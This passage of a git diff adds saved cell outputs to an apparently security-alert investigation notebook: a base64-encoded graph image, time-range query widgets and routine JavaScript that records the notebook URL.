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cHHzBT4dZx8TlLmEHx4VPbkSc4UHD+yhNb2Le6p9pKTYx/x4enoxaFA/x/K6dd+gW7eejBs3kSFD+gMmMmTIwOzZC3B3dycyMoK+fXswd+4i/P0DmD59DsHBE0lMTMTHx4eJEx9dg/DwsCc+9rlp03p++CGUceMmMXv2DMDGrFnTmTVrOmAPNM/rzerTpzutWrWlaNFiz7yG4eHhvzzW+vyCHA/NmDGXyZMnsHHjemw2Kz169KZEiZJMnDiWxMRE1q5dxdq1qwBwc3Nj9epHAP2oAAAGlUlEQVSNTJwYzOTJE9m5syEmkxP16tV3lN2fMmUmkyaNIyUlBS8vT2bMmIurqxvz58/G3z+ALl3eSXX8IkWKOu5nkZeR6eHjDk+QB7h8+3YcVutT13mp+PllICrq6eVORf5ouufk7/Ci3XenTp1k6dJFzJ276O9uivyJXrT7Tv75dM9JWjg5mcic2QsgL3Dlsdf/6gaJiIj8HmXKlCNPnjwcPnzw+SuLiIj8hfSYn4iIvPCGDBn5dzdBRETkMeqZEhERERERMUBhSkRERERExACFKREREREREQMUpkRERERERAxQmBIRERERETFAYUpERERERMQAhSkREREREREDFKZEREREREQMUJgSERERERExQGFKRERERETEAIUpERERERERAxSmREREREREDFCYEhERERERMUBhSkRERERExACFKREREREREQMUpkRERERERAxQmBIRERERETFAYUpERERERMQAhSkREREREREDFKZEREREREQMUJgSERERERExQGFKRERERETEAIUpERERERERAxSmREREREREDFCYEhERERERMUBhSkRERERExACFKREREREREQMUpkRERERERAxQmBIRERERETFAYUpERERERMQAhSkREREREREDFKZEREREREQMUJgSERERERExQGFKRERERETEAIUpERERERERAxSmREREREREDFCYEhERERERMUBhSkRERERExACFKREREREREQMUpkRERERERAxQmBIRERERETFAYUpERERERMQAhSkREREREREDFKZEREREREQMUJgSERERERExQGFKRERERETEAIUpERERERERAxSmREREREREDFCYEhERERERMUBhSkRERERExACFKREREREREQMUpkRERERERAxQmBIRERERETFAYUpERERERMQAhSkREREREREDFKZEREREREQMUJgSERERERExQGFKRERERETEAIUpERERERERAxSmREREREREDFCYEhERERERMUBhSkRERERExACFKREREREREQMUpkRERERERAxQmBIRERERETFAYUpERERERMQAhSkREREREREDFKZEREREREQMUJgSERERERExQGFKRERERETEAIUpERERERERAxSmREREREREDFCYEhERERERMUBhSkRERERExACFKREREREREQMUpkRERERERAxQmBIRERERETFAYUpERERERMQAhSkREREREREDFKZEREREREQMUJgSERERERExQGFKRERERETEAIUpERERERERAxSmREREREREDFCYEhERERERMUBhSkRERERExACFKREREREREQNMNpvtaa/lAS7/dU0RERERERF5IeUFrvx2ocv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+ "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# Draw the graph using Networkx/Matplotlib\n", "%matplotlib inline\n", @@ -329,14 +1643,57 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 10, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:46.099473Z", "start_time": "2020-05-16T02:14:46.032476Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "c1d708efcf56466388d4dcf41d34dda0", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HTML(value='

Set query time boundaries

')" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "2aaef65c62d94ef787f9f08027269cef", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='23:07:57',…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "c3e8e18ba61949fabfea52831b53e5ec", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# set the origin time to the time of our alert\n", "query_times = nbwidgets.QueryTime(units='day', origin_time=security_alert.TimeGenerated, \n", @@ -346,14 +1703,439 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 11, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:50.654284Z", "start_time": "2020-05-16T02:14:48.146513Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" 